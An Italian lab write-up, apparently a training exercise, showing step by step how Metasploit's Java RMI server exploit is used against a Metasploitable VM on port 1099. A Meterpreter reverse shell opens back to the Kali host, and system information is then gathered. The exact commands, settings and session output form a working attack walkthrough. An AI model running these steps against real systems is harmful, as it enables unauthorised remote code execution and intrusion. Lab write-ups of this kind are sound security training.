

PROGETTO

In questo progetto, eseguiremo un attacco sfruttando l'exploit del servizio Java RMI sulla porta 1099. Questa è un tipo di vulnerabilità che riguarda un problema di Java RMI, ovvero un meccanismo che permette di chiamare un oggetto Java in esecuzione su un computer da un altro computer da remoto. Questo può consentire agli attaccanti di eseguire codice malevolo o di compiere azioni non autorizzate.

Per prima cosa, configuriamo l'indirizzo IP 192.168.11.111 su kali

```
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 2001:b07:646e:a961:a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0<*global>
    inet6 fe80::a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0<*link>
    ether 08:00:27:21:b1:d0 txqueuelen 1000 (Ethernet)
    RX packets 909 bytes 100416 (98.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1425 bytes 566098 (552.8 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<*host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 958 bytes 95169 (92.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 958 bytes 95169 (92.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

E l'indirizzo IP 192.168.11.112 su metasploitable

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f6:43:0a
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: 2001:b07:646e:a961:a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0<global>
          inet6 addr: fe80::a00:27ff:fe21:b1d0 prefixlen 64 scopeid 0<link>
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1902 errors:0 dropped:0 overruns:0 frame:0
          TX packets:468 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:621387 (606.8 KB)  TX bytes:54036 (52.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:328 errors:0 dropped:0 overruns:0 frame:0
          TX packets:328 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:124981 (122.0 KB)  TX bytes:124981 (122.0 KB)
```

Dopodichè, avviamo una sessione di `mfconsole`

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more
```

Una volta avviato, andremo a cercare l'exploit richiesto dall'esercizio

```
msf6 > search java_rmi

Matching Modules



| # | Name                                           | Disclosure Date | Rank      | Check | Description                                      |
|---|------------------------------------------------|-----------------|-----------|-------|--------------------------------------------------|
| 0 | auxiliary/gather/java_rmi_registry             |                 | normal    | No    | Java RMI Registry Interfaces Enumeration         |
| 1 | exploit/multi/misc/java_rmi_server             | 2011-10-15      | excellent | Yes   | Java RMI Server Insecure Default Configuration J |
| 2 | auxiliary/scanner/misc/java_rmi_server         | 2011-10-15      | normal    | No    | Java RMI Server Insecure Endpoint Code Execution |
| 3 | exploit/multi/browser/java_rmi_connection_impl | 2010-03-31      | excellent | No    | Java RMIConnectionImpl Deserialization Privilege |



* Check that Firefox has permission to access the web (you might be connected but behind a firewall)

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

Utilizzeremo l'exploit presente nella riga 1, ovvero `exploit/multi/misc/java rmi server`

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or listen on all addresses.                                                                          |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

Configuriamo RHOSTS mettendo l'indirizzo IP del target, in questo caso metasploitable, e LHOST con l'indirizzo IP di kali

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
```

Dopodichè andiamo a vedere se si sono applicate le modifiche

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or
  listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   no              no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Una volta configurato il tutto, lanciamo l'attacco con il comando exploit

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/ftjq7TCnaLOB
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:57800) at 2024-03-28 14:48:38 -0400
```

Una volta ottenuta la sessione di meterpreter, potremmo raccogliere varie informazioni sul nostro bersaglio, come per esempio la configurazione di rete tramite il comando ifconfig

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2001:b07:646e:a961:a00:27ff:fe6:430a
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe6:430a
```

Un'altra informazione che possiamo raccogliere tramite il comando route -n è la tabella di routing, che contiene informazioni come l'indirizzo di rete di destinazione dei pacchetti, la maschera di sottorete, il gateway predefinito e l'interfaccia di rete associata. Per eseguire questo comando però ho dovuto attivare la shell, che si potrebbe considerare anche questo un tipo di informazione estraibile.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
route -n
Kernel IP routing table


| Destination  | Gateway      | Genmask       | Flags | Metric | Ref | Use | Iface |
|--------------|--------------|---------------|-------|--------|-----|-----|-------|
| 192.168.11.0 | 0.0.0.0      | 255.255.255.0 | U     | 0      | 0   | 0   | eth0  |
| 0.0.0.0      | 192.168.11.1 | 0.0.0.0       | UG    | 100    | 0   | 0   | eth0  |


```

Un altro comando che possiamo utilizzare è il comando sysinfo, che restituisce informazioni generali sul sistema operativo, sull'architettura del processore, sul nome host e sul kernel.

```
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

Con il comando `ps`, possiamo controllare quanti processi ci sono in esecuzione sul sistema bersaglio insieme ai dettagli, come PID, nome del processo, descrizione, proprietario, ecc.

```
meterpreter > ps

Process List
=====
```

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]
45	[kacpi_notify]	root	[kacpi_notify]
90	[kseriod]	root	[kseriod]
128	[pdflush]	root	[pdflush]
129	[pdflush]	root	[pdflush]
130	[kswapd0]	root	[kswapd0]
172	[aio/0]	root	[aio/0]
1128	[ksnapd]	root	[ksnapd]
1317	[ata/0]	root	[ata/0]
1323	[ata_aux]	root	[ata_aux]
1332	[ksuspend_usbd]	root	[ksuspend_usbd]
1337	[khubd]	root	[khubd]
2040	[scsi_eh_0]	root	[scsi_eh_0]
2195	[kjournald]	root	[kjournald]

Un'altra informazione possiamo ottenerla con il comando `getprivs`, che ci indica i privilegi attualmente assegnati al processo Meterpreter.

```
meterpreter > getuid
Server username: root
```

In conclusione, in questo report ho mostrato alcuni esempi di informazioni che possiamo estrarre con Meterpreter.